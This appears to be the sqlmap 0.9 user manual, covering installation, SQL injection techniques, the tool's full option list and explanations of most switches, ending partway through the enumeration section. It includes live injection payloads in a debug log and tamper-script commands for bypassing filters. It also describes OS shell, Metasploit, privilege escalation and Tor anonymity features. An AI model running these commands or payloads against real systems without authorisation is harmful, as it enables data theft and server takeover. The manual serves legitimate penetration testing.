sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a kick-ass detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections.
sqlmap is developed in Python, a dynamic object-oriented interpreted programming language. This makes the tool independent from the operating system. It only requires the Python interpreter version 2 equal or higher than 2.6. The interpreter is freely downloadable from its official site. To make it even easier, many GNU/Linux distributions come out of the box with Python interpreter installed and other Unices and Mac OSX too provide it packaged in their formats and ready to be installed. Windows users can download and install the Python setup-ready installer for x86, AMD64 and Itanium too.
sqlmap relies on the Metasploit Framework for some of its post-exploitation takeover features. You need to grab a copy of it from the download page - the required version is 3.5 or higher. For the ICMP tunneling out-of-band takeover technique, sqlmap requires Impacket library too.
If you are willing to connect directly to a database server (-d switch),
without passing via a web application, you need to install Python bindings
for the database management system that you are going to attack:
If you plan to attack a web application behind NTLM authentication or use
the sqlmap update functionality (--update switch) you need to
install respectively
python-ntlm and
python-svn libraries.
Optionally, if you are running sqlmap on Windows, you may wish to install PyReadline library to be able to take advantage of the sqlmap TAB completion and history support features in the SQL shell and OS shell. Note that these functionalities are available natively by Python standard readline library on other operating systems.
You can also choose to install Psyco library to eventually speed up the sqlmap algorithmic operations.
Let's say that you are auditing a web application and found a web page
that accepts dynamic user-provided values on GET or POST
parameters or HTTP Cookie values or HTTP User-Agent
header value.
You now want to test if these are affected by a SQL injection
vulnerability, and if so, exploit them to retrieve as much information as
possible out of the web application's back-end database management system
or even be able to access the underlying file system and operating system.
In a simple world, consider that the target url is:
http://192.168.136.131/sqlmap/mysql/get_int.php?id=1
Assume that:
http://192.168.136.131/sqlmap/mysql/get_int.php?id=1+AND+1=1
is the same page as the original one and:
http://192.168.136.131/sqlmap/mysql/get_int.php?id=1+AND+1=2
differs from the original one, it means that you are in front of a SQL
injection vulnerability in the id GET parameter of the
index.php web application page which means that potentially no
IDS/IPS, no web application firewall, no parameters' value sanitization is
performed on the server-side before sending the SQL statement to the
back-end database management system the web application relies on.
This is a quite common flaw in dynamic content web applications and it does not depend upon the back-end database management system nor on the web application programming language: it is a programmer code's security flaw. The Open Web Application Security Project rated on 2010 in their OWASP Top Ten survey this vulnerability as the most common and important web application vulnerability along with other injection flaws.
Back to the scenario, probably the SQL SELECT statement into
get_int.php has a syntax similar to the following SQL query, in
pseudo PHP code:
$query = "SELECT [column(s) name] FROM [table name] WHERE id=" . $_REQUEST['id'];
As you can see, appending any other syntatically valid SQL condition after
a value for id such condition will take place when the web
application passes the query to the back-end database management system
that executes it, that is why the condition id=1 AND 1=1 is valid
(True) and returns the same page as the original one, with the
same content. This is the case of a boolean-based blind SQL injection
vulnerability. However, sqlmap is able to detect any type of SQL injection
and adapt its work-flow accordingly. Read below for further details.
Moreover, in this simple and easy to inject scenario it would be also
possible to append, not just one or more valid SQL condition(s), but also
stacked SQL queries, for instance something like [...]&id=1;
ANOTHER SQL QUERY# if the web application technology supports
stacked queries, also known as multiple statements.
Now that you found this SQL injection vulnerable parameter, you can
exploit it by manipulating the id parameter value in the HTTP
request.
There exist many resources on the Net explaining in depth how to prevent, detect and exploit SQL injection vulnerabilities in web application and it is recommended to read them if you are not familiar with the issue before going ahead with sqlmap.
Passing the original address, http://192.168.136.131/sqlmap/mysql/get_int.php?id=1
to sqlmap, the tool will automatically:
id in this example);Up until sqlmap version 0.8, the tool has been yet another
SQL injection tool, used by web application penetration testers/newbies/curious
teens/computer addicted/punks and so on. Things move on
and as they evolve, we do as well. Now it supports this new switch,
-d, that allows you to connect from your machine to the database
server's TCP port where the database management system daemon is listening
on and perform any operation you would do while using it to attack a
database via a SQL injection vulnerability.
sqlmap is able to detect and exploit five different SQL injection types:
SELECT sub-statement, or any other SQL statement whose the user
want to retrieve the output.
For each HTTP response, by making a comparison between the HTTP response
headers/body with the original request, the tool inference the output of
the injected statement character by character. Alternatively, the user
can provide a string or regular expression to match on True pages.
The bisection algorithm implemented in sqlmap to perform this technique
is able to fetch each character of the output with a maximum of seven HTTP
requests. Where the output is not within the clear-text plain charset,
sqlmap will adapt the algorithm with bigger ranges to detect the output.UNION ALL SELECT.
This techique works when the web application page passes the output of the
SELECT statement within a for cycle, or similar, so that
each line of the query output is printed on the page content.
sqlmap is also able to exploit partial (single entry) UNION query SQL
injection vulnerabilities which occur when the output of the
statement is not cycled in a for construct whereas only the first
entry of the query output is displayed.;) followed by the
SQL statement to be executed. This technique is useful to run SQL
statements other than SELECT like, for instance, data
definition or data manipulation statements possibly leading
to file system read and write access and operating system command
execution depending on the underlying back-end database management system
and the session user privileges.You can watch several demo videos, they are hosted on YouTube.
Features implemented in sqlmap include:
Cookie header string support, useful when the
web application requires authentication based upon cookies and you have
such data or in case you just want to test for and exploit SQL injection
on such header values. You can also specify to always URL-encode the
Cookie.
Set-Cookie header from
the application, re-establishing of the session if it expires. Test and
exploit on these values is supported too. Vice versa, you can also force
to ignore any Set-Cookie header.
Referer header value and
the HTTP User-Agent header value specified by user or
randomly selected from a textual file.
Some of these techniques are detailed in the white paper Advanced SQL injection to operating system full control and in the slide deck Expanding the control over the operating system from the database.
xp_cmdshell() stored procedure.
Also, the stored procedure is re-enabled if disabled or created from
scratch if removed by the DBA.sys_bineval(). Supported on
MySQL and PostgreSQL.sys_exec() on
MySQL and PostgreSQL or via xp_cmdshell() on Microsoft SQL
Server.smb_relay server
exploit listens. Supported when running sqlmap with high privileges
(uid=0) on Linux/Unix and the target DBMS runs as Administrator
on Windows.sp_replwritetovarbin stored procedure heap-based buffer
overflow (
MS09-004). sqlmap has its own exploit to trigger the
vulnerability with automatic DEP memory protection bypass, but it relies
on Metasploit to generate the shellcode to get executed upon successful
exploitation.getsystem command which include, among others,
the
kitrap0d technique (
MS10-015).
sqlmap can be downloaded from its SourceForge File List page. It is available in two formats:
You can also checkout the latest development version from the subversion repository:
$ svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev
You can update it at any time to the latest development version by running:
$ python sqlmap.py --update
Or:
$ svn update
This is strongly recommended before reporting any bug to the mailing list.
$ python sqlmap.py -h
sqlmap/0.9 - automatic SQL injection and database takeover tool
http://sqlmap.sourceforge.net
Usage: python sqlmap.py [options]
Options:
--version show program's version number and exit
-h, --help show this help message and exit
-v VERBOSE Verbosity level: 0-6 (default 1)
Target:
At least one of these options has to be specified to set the source to
get target urls from.
-d DIRECT Direct connection to the database
-u URL, --url=URL Target url
-l LIST Parse targets from Burp or WebScarab proxy logs
-r REQUESTFILE Load HTTP request from a file
-g GOOGLEDORK Process Google dork results as target urls
-c CONFIGFILE Load options from a configuration INI file
Request:
These options can be used to specify how to connect to the target url.
--data=DATA Data string to be sent through POST
--cookie=COOKIE HTTP Cookie header
--cookie-urlencode URL Encode generated cookie injections
--drop-set-cookie Ignore Set-Cookie header from response
--user-agent=AGENT HTTP User-Agent header
--random-agent Use randomly selected HTTP User-Agent header
--referer=REFERER HTTP Referer header
--headers=HEADERS Extra HTTP headers newline separated
--auth-type=ATYPE HTTP authentication type (Basic, Digest or NTLM)
--auth-cred=ACRED HTTP authentication credentials (name:password)
--auth-cert=ACERT HTTP authentication certificate (key_file,cert_file)
--proxy=PROXY Use a HTTP proxy to connect to the target url
--proxy-cred=PCRED HTTP proxy authentication credentials (name:password)
--ignore-proxy Ignore system default HTTP proxy
--delay=DELAY Delay in seconds between each HTTP request
--timeout=TIMEOUT Seconds to wait before timeout connection (default 30)
--retries=RETRIES Retries when the connection timeouts (default 3)
--scope=SCOPE Regexp to filter targets from provided proxy log
--safe-url=SAFURL Url address to visit frequently during testing
--safe-freq=SAFREQ Test requests between two visits to a given safe url
Optimization:
These options can be used to optimize the performance of sqlmap.
-o Turn on all optimization switches
--predict-output Predict common queries output
--keep-alive Use persistent HTTP(s) connections
--null-connection Retrieve page length without actual HTTP response body
--threads=THREADS Max number of concurrent HTTP(s) requests (default 1)
Injection:
These options can be used to specify which parameters to test for,
provide custom injection payloads and optional tampering scripts.
-p TESTPARAMETER Testable parameter(s)
--dbms=DBMS Force back-end DBMS to this value
--os=OS Force back-end DBMS operating system to this value
--prefix=PREFIX Injection payload prefix string
--suffix=SUFFIX Injection payload suffix string
--tamper=TAMPER Use given script(s) for tampering injection data
Detection:
These options can be used to specify how to parse and compare page
content from HTTP responses when using blind SQL injection technique.
--level=LEVEL Level of tests to perform (1-5, default 1)
--risk=RISK Risk of tests to perform (0-3, default 1)
--string=STRING String to match in page when the query is valid
--regexp=REGEXP Regexp to match in page when the query is valid
--text-only Compare pages based only on the textual content
Techniques:
These options can be used to tweak testing of specific SQL injection
techniques.
--technique=TECH SQL injection techniques to test for (default BEUST)
--time-sec=TIMESEC Seconds to delay the DBMS response (default 5)
--union-cols=UCOLS Range of columns to test for UNION query SQL injection
--union-char=UCHAR Character to use for bruteforcing number of columns
Fingerprint:
-f, --fingerprint Perform an extensive DBMS version fingerprint
Enumeration:
These options can be used to enumerate the back-end database
management system information, structure and data contained in the
tables. Moreover you can run your own SQL statements.
-b, --banner Retrieve DBMS banner
--current-user Retrieve DBMS current user
--current-db Retrieve DBMS current database
--is-dba Detect if the DBMS current user is DBA
--users Enumerate DBMS users
--passwords Enumerate DBMS users password hashes
--privileges Enumerate DBMS users privileges
--roles Enumerate DBMS users roles
--dbs Enumerate DBMS databases
--tables Enumerate DBMS database tables
--columns Enumerate DBMS database table columns
--dump Dump DBMS database table entries
--dump-all Dump all DBMS databases tables entries
--search Search column(s), table(s) and/or database name(s)
-D DB DBMS database to enumerate
-T TBL DBMS database table to enumerate
-C COL DBMS database table column to enumerate
-U USER DBMS user to enumerate
--exclude-sysdbs Exclude DBMS system databases when enumerating tables
--start=LIMITSTART First query output entry to retrieve
--stop=LIMITSTOP Last query output entry to retrieve
--first=FIRSTCHAR First query output word character to retrieve
--last=LASTCHAR Last query output word character to retrieve
--sql-query=QUERY SQL statement to be executed
--sql-shell Prompt for an interactive SQL shell
Brute force:
These options can be used to run brute force checks.
--common-tables Check existence of common tables
--common-columns Check existence of common columns
User-defined function injection:
These options can be used to create custom user-defined functions.
--udf-inject Inject custom user-defined functions
--shared-lib=SHLIB Local path of the shared library
File system access:
These options can be used to access the back-end database management
system underlying file system.
--file-read=RFILE Read a file from the back-end DBMS file system
--file-write=WFILE Write a local file on the back-end DBMS file system
--file-dest=DFILE Back-end DBMS absolute filepath to write to
Operating system access:
These options can be used to access the back-end database management
system underlying operating system.
--os-cmd=OSCMD Execute an operating system command
--os-shell Prompt for an interactive operating system shell
--os-pwn Prompt for an out-of-band shell, meterpreter or VNC
--os-smbrelay One click prompt for an OOB shell, meterpreter or VNC
--os-bof Stored procedure buffer overflow exploitation
--priv-esc Database process' user privilege escalation
--msf-path=MSFPATH Local path where Metasploit Framework 3 is installed
--tmp-path=TMPPATH Remote absolute path of temporary files directory
Windows registry access:
These options can be used to access the back-end database management
system Windows registry.
--reg-read Read a Windows registry key value
--reg-add Write a Windows registry key value data
--reg-del Delete a Windows registry key value
--reg-key=REGKEY Windows registry key
--reg-value=REGVAL Windows registry key value
--reg-data=REGDATA Windows registry key value data
--reg-type=REGTYPE Windows registry key value type
General:
These options can be used to set some general working parameters.
-t TRAFFICFILE Log all HTTP traffic into a textual file
-s SESSIONFILE Save and resume all data retrieved on a session file
--flush-session Flush session file for current target
--fresh-queries Ignores query results stored in session file
--eta Display for each output the estimated time of arrival
--update Update sqlmap
--save Save options on a configuration INI file
--batch Never ask for user input, use the default behaviour
Miscellaneous:
--beep Alert when sql injection found
--check-payload IDS detection testing of injection payloads
--cleanup Clean up the DBMS by sqlmap specific UDF and tables
--forms Parse and test forms on target url
--gpage=GOOGLEPAGE Use Google dork results from specified page number
--page-rank Display page rank (PR) for Google dork results
--parse-errors Parse DBMS error messages from response pages
--replicate Replicate dumped data into a sqlite3 database
--tor Use default Tor (Vidalia/Privoxy/Polipo) proxy address
--wizard Simple wizard interface for beginner users
Switch: -v
This switch can be used to set the verbosity level of output messages. There exist seven levels of verbosity. The default level is 1 in which information, warning, error and critical messages and Python tracebacks (if any occur) will be displayed.
A reasonable level of verbosity to further understand what sqlmap does under the hood is level 2, primarily for the detection phase and the take-over functionalities. Whereas if you want to see the SQL payloads the tools sends, level 3 is your best choice. In order to further debug potential bugs or unexpected behaviours, we recommend you to set the verbosity to level 4 or above. This level is recommended to be used when you feed the developers with a bug report too.
At least one of these options has to be provided.
Switch: -u or --url
Run sqlmap against a single target URL. This switch requires an argument
which is the target URL in the form http(s)://targeturl[:port]/[...].
Switch: -l
Rather than providing a single target URL, it is possible to test and inject against HTTP requests proxied through Burp proxy or WebScarab proxy This switch requires an argument which is the proxy's HTTP requests log file.
Switch: -r
One of the possibilities of sqlmap is loading of complete HTTP request from a textual file. That way you can skip usage of bunch of other options (e.g. setting of cookies, POSTed data, etc).
Sample content of a HTTP request file provided as argument to this switch:
POST /sqlmap/mysql/post_int.php HTTP/1.1
Host: 192.168.136.131
User-Agent: Mozilla/4.0
id=1
Switch: -g
It is also possible to test and inject on GET parameters on the
results of your Google dork.
This option makes sqlmap negotiate with the search engine its session
cookie to be able to perform a search, then sqlmap will retrieve Google
first 100 results for the Google dork expression with GET
parameters asking you if you want to test and inject on each possible
affected URL.
Switch: -c
It is possible to pass user's options from a configuration INI file, an
example is sqlmap.conf.
Note that if you also provide other options from command line, those are evaluated when running sqlmap and overwrite those provided in the configuration file.
These options can be used to specify how to connect to the target url.
Option: --data
By default the HTTP method used to perform HTTP requests is GET,
but you can implicitly change it to POST by providing the data to
be sent in the POST requests. Such data, being those parameters,
are tested for SQL injection as well as any provided GET
parameters.
Cookie headerSwitches: --cookie, --drop-set-cookie
and --cookie-urlencode
This feature can be useful in two ways:
Either reason brings you to need to send cookies with sqlmap requests, the steps to go through are the following:
--cookie switch.Note that the HTTP Cookie header values are usually separated by
a ; character, not by an &. sqlmap can
recognize these as separate sets of parameter=value too, as well
as GET and POST parameters.
If at any time during the communication, the web application responds with
Set-Cookie headers, sqlmap will automatically use its value in
all further HTTP requests as the Cookie header. sqlmap will also
automatically test those values for SQL injection. This can be avoided by
providing the switch --drop-set-cookie - sqlmap will
ignore any coming Set-Cookie header.
Vice versa, if you provide a HTTP Cookie header with
--cookie switch and the target URL sends an HTTP
Set-Cookie header at any time, sqlmap will ask you which set of
cookies to use for the following HTTP requests.
sqlmap by default does not URL-encode generated cookie payloads,
but you can force it by using the --cookie-urlencode
switch. Cookie content encoding is not declared by HTTP protocol standard
in any way, so it is solely the matter of web application's behaviour.
Note that also the HTTP Cookie header is tested against SQL
injection if the --level is set to 2 or above.
Read below for details.
User-Agent headerSwitches: --user-agent and --random-agent
By default sqlmap performs HTTP requests with the following User-Agent
header value:
sqlmap/0.9 (http://sqlmap.sourceforge.net)
However, it is possible to fake it with the --user-agent
switch by providing custom User-Agent as the switch argument.
Moreover, by providing the --random-agent switch, sqlmap
will randomly select a User-Agent from the ./txt/user-agents.txt
textual file and use it for all HTTP requests within the session.
Some sites perform a server-side check on the HTTP User-Agent
header value and fail the HTTP response if a valid User-Agent is
not provided, its value is not expected or is blacklisted by a web
application firewall or similar intrusion prevention system. In this case
sqlmap will show you a message as follows:
[hh:mm:20] [ERROR] the target url responded with an unknown HTTP status code, try to
force the HTTP User-Agent header with option --user-agent or --random-agent
Note that also the HTTP User-Agent header is tested against SQL
injection if the --level is set to 3 or above.
Read below for details.
Referer headerSwitch: --referer
It is possible to fake the HTTP Referer header value. By default
no HTTP Referer header is sent in HTTP requests if not
explicitly set.
Note that also the HTTP Referer header is tested against SQL
injection if the --level is set to 3 or above.
Read below for details.
Switch: --headers
It is possible to provide extra HTTP headers by setting the
--headers switch. Each header must be separated by a
newline and it is much easier to provide them from the configuration INI
file. Have a look at the sample sqlmap.conf file for an example.
Switches: --auth-type and --auth-cred
These options can be used to specify which HTTP protocol authentication the web server implements and the valid credentials to be used to perform all HTTP requests to the target application.
The three supported HTTP protocol authentication mechanisms are:
BasicDigestNTLMWhile the credentials' syntax is username:password.
Example of valid syntax:
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/basic/get_int.php?id=1" \
--auth-type Basic --auth-cred "testuser:testpass"
Switch: --auth-cert
This switch should be used in cases when the web server requires proper
client-side certificate for authentication. Supplied values should be in
the form: key_file,cert_file, where key_file should be
the name of a PEM formatted file that contains your private key, while
cert_file should be the name for a PEM formatted certificate
chain file.
Switches: --proxy, --proxy-cred,
--ignore-proxy and --tor
It is possible to provide an HTTP(S) proxy address to pass by the HTTP(S)
requests to the target URL. The syntax of HTTP(S) proxy value is
http://url:port.
If the HTTP(S) proxy requires authentication, you can provide the
credentials in the format username:password to the
--proxy-cred switch.
If, for any reason, you need to stay anonymous, instead of passing by a
single predefined HTTP(S) proxy server, you can configure a
Tor client together with
Privoxy (or similar) on
your machine as explained on the Tor client guide and use the Privoxy
daemon, by default listening on 127.0.0.1:8118, as the sqlmap
proxy by simply providing the tool with the --tor
switch instead of --proxy.
The switch --ignore-proxy should be used when you want
to run sqlmap against a target part of a local area network by ignoring
the system-wide set HTTP(S) proxy server setting.
Switch: --delay
It is possible to specify a number of seconds to hold between each HTTP(S)
request. The valid value is a float, for instance 0.5 means half
a second.
By default, no delay is set.
Switch: --timeout
It is possible to specify a number of seconds to wait before considering the HTTP(S) request timed out. The valid value is a float, for instance 10.5 means ten seconds and a half. By default 30 seconds are set.
Switch: --retries
It is possible to specify the maximum number of retries when the HTTP(S) connection timeouts. By default it retries up to three times.
Switch: --scope
Rather than using all hosts parsed from provided logs with switch
-l, you can specify valid Python regular expression to be used
for filtering desired ones.
Example of valid syntax:
$ python sqlmap.py -l burp.log --scope="(www)?\.target\.(com|net|org)"
Switches: --safe-url and --safe-freq
Sometimes web applications or inspection technology in between destroys the session if a certain number of unsuccessful requests is performed. This might occur during the detection phase of sqlmap or when it exploits any of the blind SQL injection types. Reason why is that the SQL payload does not necessarily returns output and might therefore raise a signal to either the application session management or the inspection technology.
To bypass this limitation set by the target, you can provide two switches:
--safe-url: Url address to visit frequently during
testing.--safe-freq: Test requests between two visits to a
given safe url.This way, sqlmap will visit every a predefined number of requests a certain safe URL without performing any kind of injection against it.
These switches can be used to optimize the performance of sqlmap.
Switch: -o
This switch is an alias that implicitly sets the following switches:
--keep-alive--null-connection--threads 3 if not set to a higher value.Read below for details about each switch.
Switch: --predict-output
This switch is used in inference algorithm for sequential statistical
prediction of characters of value being retrieved. Statistical table with
the most promising character values is being built based on items given in
txt/common-outputs.txt combined with the knowledge of current
enumeration used. In case that the value can be found among the common
output values, as the process progresses, subsequent character tables are
being narrowed more and more. If used in combination with retrieval of
common DBMS entities, as with system table names and privileges, speed up
is significant. Of course, you can edit the common outputs file according
to your needs if, for instance, you notice common patterns in database
table names or similar.
Note that this switch is not compatible with --threads
switch.
Switch: --keep-alive
This switch instructs sqlmap to use persistent HTTP(s) connections.
Note that this switch is incompatible with --proxy
switch.
Switch: --null-connection
There are special HTTP request types which can be used to retrieve
HTTP response's size without getting the HTTP body. This knowledge can be
used in blind injection technique to distinguish True from
False responses. When this switch is provided, sqlmap will try to
test and exploit two different NULL connection techniques:
Range and HEAD.
If any of these is supported by the target web server, speed up will come
from the obvious saving of used bandwidth.
These techniques are detailed in the white paper Bursting Performances in Blind SQL Injection - Take 2 (Bandwidth).
Note that this switch is incompatible with --text-only
switch.
Switch: --threads
It is possible to specify the maximum number of concurrent HTTP(S) requests that sqlmap is allowed to do. This feature relies on the multi-threading concept and inherits both its pro and its cons.
This features applies to the brute-force switches and when the data fetching is done through any of the blind SQL injection techniques. For the latter case, sqlmap first calculates the length of the query output in a single thread, then starts the multi-threading. Each thread is assigned to retrieve one character of the query output. The thread ends when that character is retrieved - it takes up to 7 HTTP(S) requests with the bisection algorithm implemented in sqlmap.
The maximum number of concurrent requests is set to 10 for performance and site reliability reasons.
Note that this switch is not compatible with
--predict-output switch.
These options can be used to specify which parameters to test for, provide custom injection payloads and optional tampering scripts.
Switch: -p
By default sqlmap tests all GET parameters and POST
parameters. When the value of --level is >= 2
it tests also HTTP Cookie header values. When this value is >=
3 it tests also HTTP User-Agent and HTTP Referer
header value for SQL injections.
It is however possible to manually specify a comma-separated list of
parameter(s) that you want sqlmap to test. This will bypass the dependence
on the value of --level too.
For instance, to test for GET parameter id and for HTTP
User-Agent only, provide -p id,user-agent.
Switch: --dbms
By default sqlmap automatically detects the web application's back-end database management system. As of version 0.9, sqlmap fully supports the following database management systems:
If for any reason sqlmap fails to detect the back-end DBMS once a SQL
injection has been identified or if you want to avoid an active fingeprint,
you can provide the name of the back-end DBMS yourself (e.g. postgresql).
For MySQL and Microsoft SQL Server provide them respectively in the form
MySQL <version> and Microsoft SQL Server <version>, where <version> is a valid version for the DBMS; for
instance 5.0 for MySQL and 2005 for Microsoft SQL Server.
In case you provide --fingerprint together with
--dbms, sqlmap will only perform the extensive
fingerprint for the specified database management system only, read below
for further details.
Note that this option is not mandatory and it is strongly recommended to use it only if you are absolutely sure about the back-end database management system. If you do not know it, let sqlmap automatically fingerprint it for you.
Switch: --os
By default sqlmap automatically detects the web application's back-end database management system underlying operating system when this information is a dependence of any other provided switch. At the moment the fully supported operating systems are two:
It is possible to force the operating system name if you already know it so that sqlmap will avoid doing it itself.
Note that this option is not mandatory and it is strongly recommended to use it only if you are absolutely sure about the back-end database management system underlying operating system. If you do not know it, let sqlmap automatically identify it for you.
Switches: --prefix and --suffix
In some circumstances the vulnerable parameter is exploitable only if the user provides a specific suffix to be appended to the injection payload. Another scenario where these options come handy presents itself when the user already knows that query syntax and want to detect and exploit the SQL injection by directly providing a injection payload prefix and suffix.
Example of vulnerable source code:
$query = "SELECT * FROM users WHERE id=('" . $_GET['id'] . "') LIMIT 0, 1";
To detect and exploit this SQL injection, you can either let sqlmap detect the boundaries (as in combination of SQL payload prefix and suffix) for you during the detection phase, or provide them on your own. For example:
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_str_brackets.php?id=1" \
-p id --prefix "')" --suffix "AND ('abc'='abc"
[...]
This will result in all sqlmap requests to end up in a query as follows:
$query = "SELECT * FROM users WHERE id=('1') <PAYLOAD> AND ('abc'='abc') LIMIT 0, 1";
Which makes the query syntactically correct.
In this simple example, sqlmap could detect the SQL injection and exploit
it without need to provide custom boundaries, but sometimes in real world
application it is necessary to provide it when the injection point is
within nested JOIN queries for instance.
Switch: --tamper
sqlmap itself does no obfuscation of the payload sent, except for strings
between single quotes replaced by their CHAR()-alike
representation.
This switch can be very useful and powerful in situations where there is a weak input validation mechanism between you and the back-end database management system. This mechanism usually is a self-developed input validation routine called by the application source code, an expensive enterprise-grade IPS appliance or a web application firewall (WAF). All buzzwords to define the same concept, implemented in a different way and costing lots of money, usually.
To take advantage of this switch, provide sqlmap with a comma-separated
list of tamper scripts and this will process the payload and return it
transformed. You can define your own tamper scripts, use sqlmap ones from
the tamper/ folder or edit them as long as you concatenate them
comma-separated as the argument of --tamper switch.
The format of a valid tamper script is as follows:
# Needed imports
from lib.core.enums import PRIORITY
# Define which is the order of application of tamper scripts against the payload
__priority__ = PRIORITY.NORMAL
def tamper(payload):
'''
Description of your tamper script
'''
retVal = payload
# your code to tamper the original payload
# return the tampered payload
return retVal
You can check valid and usable tamper scripts in the tamper/
directory.
Example against a MySQL target assuming that > character,
spaces and capital SELECT string are banned:
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --tamper \
tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3
[hh:mm:03] [DEBUG] cleaning up configuration parameters
[hh:mm:03] [INFO] loading tamper script 'between'
[hh:mm:03] [INFO] loading tamper script 'randomcase'
[hh:mm:03] [INFO] loading tamper script 'space2comment'
[...]
[hh:mm:04] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[hh:mm:04] [PAYLOAD] 1)/**/And/**/1369=7706/**/And/**/(4092=4092
[hh:mm:04] [PAYLOAD] 1)/**/AND/**/9267=9267/**/AND/**/(4057=4057
[hh:mm:04] [PAYLOAD] 1/**/AnD/**/950=7041
[...]
[hh:mm:04] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[hh:mm:04] [PAYLOAD] 1/**/anD/**/(SELeCt/**/9921/**/fROm(SELeCt/**/counT(*),CONCAT(cHar(
58,117,113,107,58),(SELeCt/**/(case/**/whEN/**/(9921=9921)/**/THeN/**/1/**/elsE/**/0/**/
ENd)),cHar(58,106,104,104,58),FLOOR(RanD(0)*2))x/**/fROm/**/information_schema.tables/**/
group/**/bY/**/x)a)
[hh:mm:04] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE or HAVING
clause' injectable
[...]
These options can be used to specify how to parse and compare page content from HTTP responses when using blind SQL injection technique.
Switch: --level
This switch requires an argument which specifies the level of tests to
perform. There are five levels. The default value is 1
where limited number of tests (requests) are performed. Vice versa, level
5 will test verbosely for a much larger number of payloads and
boundaries (as in pair of SQL payload prefix and suffix).
The payloads used by sqlmap are specified in the textual file
xml/payloads.xml. Following the instructions on top of the file,
if sqlmap misses an injection, you should be able to add your own
payload(s) to test for too!
Not only this switch affects which payload sqlmap tries, but also which injection points are taken in exam: GET and POST parameters are always tested, HTTP Cookie header values are tested from level 2 and HTTP User-Agent/Referer headers' value is tested from level 3.
All in all, the harder it is to detect a SQL injection, the higher the
--level must be set.
It is strongly recommended to higher this value before reporting to the mailing list that sqlmap is not able to detect a certain injection point.
Switch: --risk
This switch requires an argument which specifies the risk of tests to
perform. There are four risk values. The default value is
1 which is innocuous for the majority of SQL injection points.
Risk value 2 adds to the default level the tests for heavy query
time-based SQL injections and value 3 adds also OR-based SQL
injection tests.
In some instances, like a SQL injection in an UPDATE statement,
injecting an OR-based payload can lead to an update of all the
entries of the table, which is certainly not what the attacker wants. For
this reason and others this switch has been introduced: the user has
control over which payloads get tested, the user can arbitrarily choose
to use also potentially dangerous ones.
As per the previous switch, the payloads used by sqlmap are specified in
the textual file xml/payloads.xml and you are free to edit and
add your owns.
Switches: --string, --regexp and
--text-only
By default the distinction of a True query by a False
one (rough concept behind boolean-based blind SQL injection vulnerabilities)
is done by comparing the injected requests page content with the original
not injected page content.
Not always this concept works because sometimes the page content changes at
each refresh even not injecting anything, for instance when the page has a
counter, a dynamic advertisement banner or any other part of the HTML which
is rendered dynamically and might change in time not only consequently to
user's input.
To bypass this limit, sqlmap tries hard to identify these snippets of the
response bodies and deal accordingly. Sometimes it may fail, that is why
the user can provide a string (--string switch) which is
always present on the not injected page and on all True
injected query pages, but that it is not on the False ones. As
an alternative to a static string, the user can provide a regular
expression (--regexp switch).
Such data is easy for an user to retrieve, simply try to inject on the affected parameter an invalid value and compare manually the original (not injected) page content with the injected wrong page content. This way the distinction will be based upon string presence or regular expression match.
In cases with lot of active content (e.g. scripts, embeds, etc.) in the
HTTP responses' body, you can filter pages (--text-only
switch) just for their textual content. This way, in a good number of
cases, you can automatically tune the detection engine.
These options can be used to tweak testing of specific SQL injection techniques.
Switch: --technique
This switch can be used to specify which SQL injection type to test for. By default sqlmap tests for all types/techniques it supports.
In certain situations you may want to test only for one or few specific types of SQL injection thought and this is where this switch comes into play.
This switch requires an argument. Such argument is a string composed by
any combination of B, E, U, S and
T characters where each letter stands for a different technique:
B: Boolean-based blind SQL injectionE: Error-based SQL injectionU: UNION query SQL injectionS: Stacked queries SQL injectionT: Time-based blind SQL injectionFor instance, you can provide ES if you want to test for and
exploit error-based and stacked queries SQL injection types only.
The default value is BEUST.
Note that the string must include stacked queries technique letter,
S, when you want to access the file system, takeover the
operating system or access Windows registry hives.
Switch: --time-sec
It is possible to set the seconds to delay the response when testing for
time-based blind SQL injection, by providing the
--time-sec option followed by an integer.
By default delay is set to 5 seconds.
Switch: --union-cols
By default sqlmap tests for UNION query SQL injection technique using 1 to
10 columns. However, this range can be increased up to 50 columns by
providing an higher --level value. See the relevant
paragraph for details.
You can manually tell sqlmap to test for this type of SQL injection with a
specific range of columns by providing the tool with the
--union-cols switch followed by a range of integers. For
instance, 12-16 means tests for UNION query SQL injection by
using 12 up to 16 columns.
Switch: --union-char
By default sqlmap tests for UNION query SQL injection technique using
NULL character. However, by providing an higher
--level value sqlmap will performs tests also with a
random number because there are some corner cases where UNION query tests
with NULL fail whereas with a random integer they succeed.
You can manually tell sqlmap to test for this type of SQL injection with a
specific character by providing the tool with the
--union-char switch followed by a string.
Switches: -f or --fingerprint
By default the web application's back-end database management system fingerprint is handled automatically by sqlmap. Just after the detection phase finishes and the user is eventually prompted with a choice of which vulnerable parameter to use further on, sqlmap fingerprints the back-end database management system and carries on the injection by knowing which SQL syntax, dialect and queries to use to proceed with the attack within the limits of the database architecture.
If for any instance you want to perform an extensive database management
system fingerprint based on various techniques like specific SQL dialects
and inband error messages, you can provide the
--fingerprint switch. sqlmap will perform a lot more
requests and fingerprint the exact DBMS version and, where possible,
operating system, architecture and patch level.
If you want the fingerprint to be even more accurate result, you can also
provide the -b or --banner switch.
These options can be used to enumerate the back-end database management system information, structure and data contained in the tables. Moreover you can run your own SQL statements.
Switch: -b or --banner
Most of the modern database management systems have a function and/or
an environment variable which returns the database management system
version and eventually details on its patch level, the underlying
system. Usually the function is version() and the environment
variable is @@version, but this vary depending on the target
DBMS.
Switch: --current-user
On the majority of modern DBMSes is possible to retrieve the database management system's user which is effectively performing the query against the back-end DBMS from the web application.
Switch: --current-db
It is possible to retrieve the database management system's database name that the web application is connected to.
Switch: --is-dba
It is possible to detect if the current database management system session
user is a database administrator, also known as DBA.
sqlmap will return True if it is, viceversa False.
Switch: --users
When the session user has read access to the system table containing information about the DBMS users, it is possible to enumerate the list of users.
Switches: --passwords and -U
